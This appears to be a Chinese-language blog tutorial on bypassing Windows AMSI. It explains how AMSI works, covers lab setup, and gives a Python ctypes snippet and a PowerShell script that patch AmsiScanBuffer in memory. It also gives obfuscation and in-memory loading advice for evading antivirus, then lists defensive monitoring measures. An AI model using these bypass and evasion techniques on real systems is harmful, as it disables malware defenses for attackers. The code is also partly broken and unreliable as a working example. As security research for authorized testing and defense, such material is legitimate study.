0x01 绕过有道：攻防对抗的思路解析
在对抗过程中，如何绕过Windows的反恶意软件扫描接口（AMSI）成为了攻击者们的重要研究方向。AMSI不仅是一个强大的反恶意软件工具，还被广泛用于检测恶意PowerShell脚本。为了突破这一防御，我们需要了解AMSI的工作机制以及可能存在的漏洞。
AMSI是如何工作的
AMSI在检测恶意代码时的工作流程：AMSI通过与应用程序的合作，拦截脚本和代码片段，传递给注册的扫描程序进行检测。它实际上充当了“中间人”，在代码执行之前对其进行分析。因此，了解其内部工作原理是找到绕过方法的关键。
常见的绕过方法：许多绕过技术集中在如何阻止AMSI正常工作，例如通过修改内存中的相关代码或API调用。这些方法通常需要一定的编程基础，但一旦成功实施，可以大幅提升攻击有效性。
环境搭建指南：准备你的实验室
为了有效测试AMSI绕过方法，你需要搭建一个安全的实验环境。这里提供一个基本的搭建指南，以便你能够安全地实验和研究。
为实验准备的虚拟环境
选择虚拟化软件：建议使用VirtualBox或VMware来创建隔离的测试环境。这样做可以确保实验过程不影响你的真实系统。
安装Windows测试机：在虚拟机上安装Windows 10或更新版本，因为AMSI在这些版本中得到了广泛应用。
配置网络隔离：确保虚拟机网络与宿主机隔离，防止实验过程中误操作影响到其他设备。
配置开发工具
安装Python和PowerShell：确保你的测试环境中安装了最新版本的Python和PowerShell，因为接下来的实验大多基于这两种语言。
设置权限：为测试账户设置管理员权限，以便在进行系统级别的操作时不受限制。
実战演练：从理论到实践
了解了基础知识，下面是具体的实战步骤：我们将编写绕过AMSI的代码并在测试环境中运行。
Python绕过AMSI的基本思路
Python端的绕过方法通常涉及到直接与Windows API交互。在这里，我们将展示一个简单的调用方法，旨在修改与AMSI相关的内存内容。
<pre><code class="language-python">import ctypes
定义需要修改的内存地址（需要根据具体系统环境获取）
amsi_addr = 0xDEADBEEF
创建一个字节数组，用于写入新的内容
patch = bytes([0x90] * 10) # 用Nop指令填充
通过ctypes库将地址绑定到内存
ctypes.windll.kernel32.VirtualProtect(amsi_addr, len(patch), 0x40, ctypes.byref(ctypes.c_ulong()))
将补丁写入内存
ctypes.memmove(amsi_addr, patch, len(patch))</code></pre>
PowerShell绕过技巧
在PowerShell中，绕过通常利用脚本本身的灵活性。以下是一个简单的PowerShell脚本，旨在修改AMSI的拦截行为：
<pre><code class="language-powershell">$signature = @" using System; using System.Runtime.InteropServices; public class AMSIBypass { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name);
public static void PatchAMSI() { IntPtr hAMSI = LoadLibrary("amsi.dll"); IntPtr addr = GetProcAddress(hAMSI, "AmsiScanBuffer"); Marshal.WriteIntPtr(addr, IntPtr.Zero); } } "@
Add-Type $signature [AMSIBypass]::PatchAMSI()</code></pre>
绕过技巧与免杀策略
有效绕过AMSI不仅仅是修改内存或API调用，更需要考虑绕过的稳定性和免杀策略。以下是一些常见的方法：
混淆技术
代码混淆：通过改变变量名、函数名，以及利用无意义的代码块来让恶意代码难以被签名识别。
动态生成：在运行时动态生成恶意代码块，使得静态检测签名无法识别。
内存加载
内存加载技术：直接将恶意代码加载到内存中运行，避免在磁盘上留下痕迹。结合加壳技术，可以大幅提高绕过成功率。
检测与防御：未雨绸缪
作为防御者，了解攻击者的视角可以帮助我们制定更有效的策略。以下是一些防御措施：
强化监控与日志
实时监控：利用先进的EDR工具进行实时监控，设置特定的检测规则识别异常行为。
日志分析：通过分析系统日志，发现潜在的攻击迹象，尤其是涉及内存修改和API调用的行为。
更新与策略制定
及时更新：确保所有安全补丁及时更新，以修复已知漏洞。
制定策略：根据攻击者的常见手法，制定防御策略，比如限制PowerShell脚本权限，增加内存修改的检测机制。
经验分享：成败与教训
在多年的渗透测试和安全研究中，我发现AMSI绕过不仅是一项技术挑战，更是一场心理博弈。成功的关键不仅在于技术，更在于思维的灵活性和敏锐性。
不断学习与进化
保持好奇心：安全领域永远不会止步于现有技术，不断学习新的攻击与防御技术是成功的关键。
分享与合作：与同行分享经验，合作研究，可以加速技术进步和创新。
实践与总结
大胆实验：通过实验室模拟各种攻击场景，积累实战经验。
及时总结：每次实验结束后，及时总结经验与教训，为下一次测试做准备。
这篇文章的内容仅限于授权的安全测试，旨在帮助安全研究人员学习和理解AMSI绕过方法。攻击与防御是一个永无止境的过程，愿我们都能在这条路上不断前行。